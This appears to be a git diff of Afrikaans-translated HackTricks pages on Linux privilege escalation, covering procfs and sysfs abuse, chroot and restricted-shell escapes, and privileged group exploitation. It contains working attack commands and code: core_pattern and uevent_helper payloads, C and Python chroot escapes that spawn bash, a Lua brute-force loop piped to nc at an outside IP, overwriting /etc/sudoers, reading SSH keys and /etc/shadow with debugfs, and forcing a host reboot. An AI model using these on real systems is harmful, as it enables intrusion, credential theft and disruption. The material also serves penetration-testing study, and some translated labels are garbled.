## procfs Kwesbaarhede
@ -35,7 +36,7 @@ Hierdie gids maak toegang moontlik om kernelveranderlikes te wysig, gewoonlik vi
* **Toets- en Uitbuitingvoorbeeld**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Toets skryftoegang
[ -w /proc/sys/kernel/core_pattern ] && echo Ja # Toets skryftoegang
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Stel aangepaste hanterer in
sleep 5 && ./crash & # Trigger hanterer
@ -43,8 +44,8 @@ sleep 5 && ./crash & # Trigger hanterer
#### **`/proc/sys/kernel/modprobe`**
* Uiteengesit in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Bevat die pad na die kernelmodule-laaiers, aangeroep vir die laai van kernelmodules.
* In diepte beskryf in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
* Bevat die pad na die kernelmodulelaaier, aangeroep vir die laai van kernelmodules.
* **Toegangkontrole-voorbeeld**:
```bash
@ -59,15 +60,15 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
#### **`/proc/sys/fs`**
* Volgens [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), bevat opsies en inligting oor die lêersisteem.
* Skryftoegang kan verskeie ontkenning-van-diens-aanvalle teen die gas moontlik maak.
* Skryftoegang kan verskeie ontkenning-van-diens-aanvalle teen die gasheer moontlik maak.
#### **`/proc/sys/fs/binfmt_misc`**
* Maak dit moontlik om tolke vir nie-inheemse binêre formate te registreer op grond van hul toorgetal.
* Kan lei tot bevoorregte eskalasie of toegang tot die root-skoot as `/proc/sys/fs/binfmt_misc/register` skryfbaar is.
* Relevant uitbuit en verduideliking:
* Relevant uitbuiting en verduideliking:
* [Armoedige man se rootkit via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
* Diepgaande handleiding: [Video-skakel](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
* Diepgaande handleiding: [Video skakel](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Ander in `/proc`
@ -79,10 +80,10 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
#### **`/proc/sysrq-trigger`**
* Maak dit moontlik om Sysrq-opdragte aan te roep, wat moontlik onmiddellike stelselherlaaie of ander kritieke aksies kan veroorsaak.
* **Stelselherlaaivoorbeeld**:
* **Gasheerherlaaivoorbeeld**:
```bash
echo b > /proc/sysrq-trigger # Herlaai die gas
echo b > /proc/sysrq-trigger # Herlaai die gasheer
```
#### **`/proc/kmsg`**
@ -93,32 +94,32 @@ echo b > /proc/sysrq-trigger # Herlaai die gas
#### **`/proc/kallsyms`**
* Lys kernel-uitgevoerde simbole en hul adresse.
* Essensieel vir kernel-uitbuitontwikkeling, veral vir die oorkom van KASLR.
* Essensieel vir die ontwikkeling van kernel-uitbuitings, veral vir die oorkom van KASLR.
* Adresinligting is beperk met `kptr_restrict` ingestel op `1` of `2`.
* Besonderhede in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
* Koppel met die kernelgeheue-toestel `/dev/mem`.
* Skakel met die kernelgeheue-toestel `/dev/mem`.
* Histories vatbaar vir bevoorregte eskalasie-aanvalle.
* Meer oor [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
* Verteenwoordig die stelsel se fisiese geheue in ELF-kernformaat.
* Lees kan gasstelsel- en ander kontainergeheue-inhoud uitlek.
* Lees kan gasheerstelsel- en ander houergeheue-inhoud uitlek.
* 'n Groot lêergrootte kan lei tot leesprobleme of sagtewarestortings.
* Gedetailleerde gebruik in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
* Alternatiewe koppelvlak vir `/dev/kmem`, wat die kernel virtuele geheue verteenwoordig.
* Maak lees en skryf moontlik, dus direkte wysiging van kernelgeheue.
* Maak lees en skryf moontlik, dus direkte aanpassing van kernelgeheue.
#### **`/proc/mem`**
* Alternatiewe koppelvlak vir `/dev/mem`, wat fisiese geheue verteenwoordig.
* Maak lees en skryf moontlik, wysiging van alle geheue vereis die oplossing van virtuele na fisiese adresse.
* Maak lees en skryf moontlik, aanpassing van alle geheue vereis die oplossing van virtuele na fisiese adresse.
#### **`/proc/sched_debug`**
@ -127,22 +128,22 @@ echo b > /proc/sysrq-trigger # Herlaai die gas
#### **`/proc/[pid]/mountinfo`**
* Verskaf inligting oor koppelplekke in die proses se koppelnaamruimte.
* Stel die ligging van die kontainer `rootfs` of beeld bloot.
* Verskaf inligting oor koppelvlakpunte in die proses se koppelvlaknaamsruimte.
* Stel die ligging van die houer `rootfs` of beeld bloot.
### `/sys` Kwesbaarhede
#### **`/sys/kernel/uevent_helper`**
* Gebruik vir die hanteer van kerneltoestel `uevents`.
* Skryf na `/sys/kernel/uevent_helper` kan arbitrêre skripte uitvoer tydens `uevent`-triggering.
* Skryf na `/sys/kernel/uevent_helper` kan arbitrêre skripte uitvoer wanneer `uevent`-triggers plaasvind.
* **Voorbeeld vir Uitbuiting**: %%%bash
#### Skep 'n lading
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Vind gaspad vanaf OverlayFS-koppelpunt vir kontainer
#### Vind gasheerpad van OverlayFS-koppelpunt vir houer
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
@ -190,16 +191,17 @@ cat /output %%%
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ontsnapping uit Jails
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **GTFOBins**
**Soek in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **of jy enige binêre lêer met "Shell" eienskap kan uitvoer**
**Soek in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **as jy enige binêre lêer met die "Shell" eienskap kan uitvoer**
## Chroot Ontsnappings
@ -30,12 +31,12 @@ Die **werktuig** [**chw00t**](https://github.com/earthquake/chw00t) is geskep om
### Root + Huidige Werkspad
{% hint style="warning" %}
As jy as **root** binne 'n chroot is, **kan jy ontsnap** deur 'n **ander chroot te skep**. Dit is omdat 2 chroots nie gelyktydig kan bestaan (in Linux), so as jy 'n vouer skep en dan 'n nuwe chroot skep op daardie nuwe vouer terwyl jy **buite dit is**, sal jy nou **buite die nuwe chroot** wees en dus sal jy in die FS wees.
As jy as **root** binne 'n chroot is, **kan jy ontsnap** deur 'n **ander chroot** te skep. Dit is omdat 2 chroots nie gelyktydig kan bestaan (in Linux), dus as jy 'n vouer skep en dan 'n **nuwe chroot** op daardie nuwe vouer skep terwyl jy **buite dit is**, sal jy nou **buite die nuwe chroot** wees en dus sal jy in die FS wees.
Dit gebeur gewoonlik omdat chroot NIE jou werkspad na die aangeduide een skuif nie, sodat jy 'n chroot kan skep maar buite dit kan wees.
{% endhint %}
Gewoonlik sal jy nie die `chroot` binêre lêer binne 'n chroot-gevangenis vind nie, maar jy **kan 'n binêre lêer saamstel, oplaai en uitvoer**:
Gewoonlik sal jy nie die `chroot` binêre lêer binne 'n chroot-gevangenis vind nie, maar jy **kan dit saamstel, oplaai en uitvoer**:
<details>
@ -62,7 +63,7 @@ system("/bin/bash");
<details>
<summary>Python</summary>
<summary>Afrikaans</summary>
```python
#!/usr/bin/python
import os
@ -90,10 +91,10 @@ system("/bin/bash");
```
</details>
### Root + Bewaarde fd
### Root + Gestoorde fd
{% hint style="warning" %}
Dit is soortgelyk aan die vorige geval, maar in hierdie geval **stoor die aanvaller 'n lêerbeskrywer na die huidige gids** en dan **skep die chroot in 'n nuwe vouer**. Uiteindelik, aangesien hy **toegang** het tot daardie **FD** **buite** die chroot, het hy toegang daartoe en hy **ontsnap**.
Dit is soortgelyk aan die vorige geval, maar in hierdie geval **stoor die aanvaller 'n lêerbeskrywer na die huidige gids** en dan **skep die chroot in 'n nuwe gids**. Uiteindelik, aangesien hy **toegang** het tot daardie **FD** **buite** die chroot, kry hy toegang daartoe en hy **ontsnap**.
{% endhint %}
<details>
@ -129,9 +130,9 @@ FD kan oorgedra word oor Unix-domeinsokkels, so:
* Skep 'n kinderproses (fork)
* Skep UDS sodat ouer en kind kan kommunikeer
* Voer chroot uit in kinderproses in 'n ander vouer
* In ouer proses, skep 'n FD van 'n vouer wat buite die nuwe kinderproses chroot is
* In ouer proses, skep 'n FD van 'n vouer wat buite die nuwe kind proses chroot is
* Dra daardie FD oor na die kinderproses deur die UDS te gebruik
* Kindproses verander na daardie FD, en omdat dit buite sy chroot is, sal hy die tronk ontsnap
* Kind proses chdir na daardie FD, en omdat dit buite sy chroot is, sal hy die tronk ontsnap
{% endhint %}
### Root + Mount
@ -147,7 +148,7 @@ Dit is moontlik in Linux
{% hint style="warning" %}
* Koppel procfs in 'n gids binne die chroot (as dit nog nie daar is nie)
* Soek na 'n pid wat 'n ander hoof-/cwd-inskrywing het, soos: /proc/1/root
* Soek na 'n pid wat 'n verskillende hoof-/cwd-inskrywing het, soos: /proc/1/root
* Chroot na daardie inskrywing
{% endhint %}
@ -155,15 +156,15 @@ Dit is moontlik in Linux
{% hint style="warning" %}
* Skep 'n Fork (kinderproses) en chroot na 'n ander vouer dieper in die FS en CD daarop
* Vanuit die ouerproses, skuif die vouer waar die kinderproses in 'n vouer voor die chroot van die kinders is
* Vanuit die ouer proses, skuif die vouer waar die kinderproses in 'n vouer voor die chroot van die kinders is
* Hierdie kinderproses sal homself buite die chroot vind
{% endhint %}
### ptrace
{% hint style="warning" %}
* 'n Tyd gelede kon gebruikers sy eie prosesse vanuit 'n proses van homself foutopspoor... maar dit is nie meer standaard moontlik nie
* Hoe dan ook, as dit moontlik is, kan jy ptrace in 'n proses en 'n shellkode daarin uitvoer ([sien hierdie voorbeeld](linux-capabilities.md#cap\_sys\_ptrace)).
* 'n Tyd gelede kon gebruikers sy eie prosesse vanuit 'n proses van homself foutopspoor... maar dit is nie meer moontlik uit die boks nie
* Hoe dan ook, as dit moontlik is, kan jy ptrace in 'n proses en 'n shell-kode daarin uitvoer ([sien hierdie voorbeeld](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}
## Bash Tronke
@ -180,7 +181,7 @@ pwd
```
### Wysig PATH
Kyk of jy die PATH omgewingsveranderlike kan wysig.
Kyk of jy die PATH omgewingsveranderlike kan wysig
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
@ -193,14 +194,14 @@ echo /home/* #List directory
```
### Skep skripsie
Kyk of jy 'n uitvoerbare lêer kan skep met _/bin/bash_ as inhoud
Kyk of jy 'n uitvoerbare lêer met _/bin/bash_ as inhoud kan skep
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
### Kry bash vanaf SSH
Indien jy toegang verkry via ssh, kan jy hierdie truuk gebruik om 'n bash-skoot uit te voer:
Indien jy toegang het via ssh, kan jy hierdie truuk gebruik om 'n bash-skul uit te voer:
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
@ -221,7 +222,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
### Ander truuks
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io)\
**Dit kan ook interessant wees die bladsy:**
@ -245,16 +246,20 @@ Op hierdie bladsy kan jy die globale funksies vind waar jy toegang tot het binne
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
### 'n Paar truuks om funksies van 'n biblioteek te **roep sonder om punte te gebruik**:
Sommige truuks om **funksies van 'n biblioteek te roep sonder om punte te gebruik**:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Lys funksies van 'n biblioteek:
### Ontleding van funksies van 'n biblioteek:
```bash
$ nm -D /path/to/library.so
```
```bash
for k,v in pairs(string) do print(k,v) end
```
Merk op dat elke keer as jy die vorige eenregelige kode in 'n **verskillende lua-omgewing uitvoer, die volgorde van die funksies verander**. Daarom, as jy 'n spesifieke funksie moet uitvoer, kan jy 'n brute force-aanval uitvoer deur verskillende lua-omgewings te laai en die eerste funksie van die biblioteek aan te roep:
Merk op dat elke keer as jy die vorige eenregelige kode in 'n **verskillende lua-omgewing uitvoer, verander die volgorde van die funksies**. Daarom, as jy 'n spesifieke funksie moet uitvoer, kan jy 'n brute force-aanval uitvoer deur verskillende lua-omgewings te laai en die eerste funksie van die biblioteek aan te roep:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@ -265,24 +270,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**Kry 'n interaktiewe lua-skul**: As jy binne 'n beperkte lua-skul is, kan jy 'n nuwe lua-skul (en hopelik onbeperkte) kry deur die volgende te skakel:
**Kry interaktiewe lua-skul**: As jy binne 'n beperkte lua-skul is, kan jy 'n nuwe lua-skul kry (en hopelik onbeperk) deur te skakel:
```bash
debug.debug()
```
## Verwysings
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Dias: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Strokies: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Interessante Groepe - Linux Privesc
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Sudo/Admin Groepe
@ -28,13 +29,13 @@ Ander maniere om HackTricks te ondersteun:
```
Dit beteken dat **enige gebruiker wat behoort tot die groep sudo of admin enigiets as sudo kan uitvoer**.
Indien dit die geval is, kan jy eenvoudig **root word deur die volgende uit te voer**:
Indien dit die geval is, kan jy **root word deur net uit te voer**:
```
sudo su
```
### PE - Metode 2
Vind alle suid-binêre lêers en kontroleer of die binêre lêer **Pkexec** daar is:
Vind alle suid-binêre en kontroleer of daar die binêre **Pkexec** is:
```bash
find / -perm -4000 2>/dev/null
```
@ -55,7 +56,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI aangesluit is nie**. En daar is 'n omweg vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy benodig **2 verskillende ssh-sessies**:
**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie aanlyn is sonder 'n GUI nie**. En daar is 'n manier om hierdie probleem te omseil hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy benodig **2 verskillende ssh-sessies**:
{% code title="sessie1" %}
```bash
@ -74,11 +75,11 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
## Wielgroep
**Soms**, **standaard** binne die **/etc/sudoers** lêer kan jy hierdie lyn vind:
**Soms**, **standaard** binne die **/etc/sudoers** lê hierdie lyn:
```
%wheel ALL=(ALL:ALL) ALL
```
Dit beteken dat **enige gebruiker wat behoort tot die groep wiel enigiets kan uitvoer as sudo**.
Dit beteken dat **enige gebruiker wat aan die wielgroep behoort, enigiets as sudo kan uitvoer**.
Indien dit die geval is, kan jy eenvoudig **root word deur uit te voer**:
```
@ -90,11 +91,11 @@ Gebruikers van die **skadugroep** kan die **/etc/shadow** lêer **lees**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, lees die lêer en probeer om **sommige hasse te kraak**.
So, lees die lêer en probeer **sommige hasse kraak**.
## Personeel Groep
**personeel**: Laat gebruikers toe om plaaslike wysigings aan die stelsel (`/usr/local`) by te voeg sonder om root-voorregte nodig te hê (let wel dat uitvoerbare lêers in `/usr/local/bin` in die PAD-veranderlike van enige gebruiker is, en hulle mag die uitvoerbare lêers in `/bin` en `/usr/bin` met dieselfde naam "oorheers"). Vergelyk met die groep "adm", wat meer verband hou met monitering/sekuriteit. [\[bron\]](https://wiki.debian.org/SystemGroups)
**personeel**: Laat gebruikers toe om plaaslike wysigings aan die stelsel (`/usr/local`) by te voeg sonder om root-voorregte nodig te hê (let wel dat uitvoerbare lêers in `/usr/local/bin` in die PATH-veranderlike van enige gebruiker is, en hulle mag die uitvoerbare lêers in `/bin` en `/usr/bin` met dieselfde naam "oorheers"). Vergelyk met die groep "adm", wat meer verband hou met monitering/sekuriteit. [\[bron\]](https://wiki.debian.org/SystemGroups)
In debian-verspreidings, wys die `$PATH`-veranderlike dat `/usr/local/` as die hoogste prioriteit uitgevoer sal word, of jy 'n bevoorregte gebruiker is of nie.
```bash
@ -104,9 +105,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
As ons sommige programme in `/usr/local` kan kap, kan ons maklik root kry.
Indien ons sommige programme in `/usr/local` kan kap, kan ons maklik 'n root kry.
Kaping van die `run-parts` program is 'n maklike manier om root te kry, omdat die meeste programme 'n `run-parts` soos (crontab, wanneer ssh aanmelding) sal hardloop.
Die kap van die `run-parts` program is 'n maklike manier om 'n root te kry, omdat die meeste programme 'n `run-parts` sal hardloop (soos crontab, wanneer ssh aanmeld).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -159,16 +160,14 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Merk op dat jy ook **lêers kan skryf** met debugfs. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy die volgende doen:
Merk op dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/asd1.txt` na `/tmp/asd2.txt` te kopieer, kan jy die volgende doen:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Maar, as jy probeer om **lêers wat deur root besit word** te skryf (soos `/etc/shadow` of `/etc/passwd`) sal jy 'n "**Toestemming geweier**" fout kry.
### Video Groep
## Video Groep
Deur die opdrag `w` te gebruik, kan jy vind **wie op die stelsel ingeteken is** en dit sal 'n uitset soos die volgende een wys:
Deur die opdrag `w` te gebruik, kan jy **sien wie op die stelsel ingeteken is** en dit sal 'n uitset soos die volgende een wys:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -176,30 +175,30 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
Die **tty1** beteken dat die gebruiker **yossi fisies ingeteken** is by 'n terminal op die rekenaar.
Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms waarneem. Om dit te doen, moet jy die huidige beeld op die skerm **vasvang in rou data** en die resolusie kry wat die skerm gebruik. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm vind op `/sys/class/graphics/fb0/virtual_size`
Die **video groep** het toegang om die skermuitset te sien. Basies kan jy die skerms waarneem. Om dit te doen, moet jy **die huidige beeld op die skerm vasvang** in rou data en die resolusie kry wat die skerm gebruik. Die skermdata kan gestoor word in `/dev/fb0` en jy kan die resolusie van hierdie skerm vind op `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Om die **rou beeld** te **open**, kan jy **GIMP** gebruik, kies die \*\*`screen.raw` \*\* lêer en kies as lêertipe **Rou beeld data**:
Om die **rofbeeld** te **open**, kan jy **GIMP** gebruik, kies die \*\*`screen.raw` \*\* lêer en kies as lêertipe **Rofbeelddata**:
![](<../../../.gitbook/assets/image (463).png>)
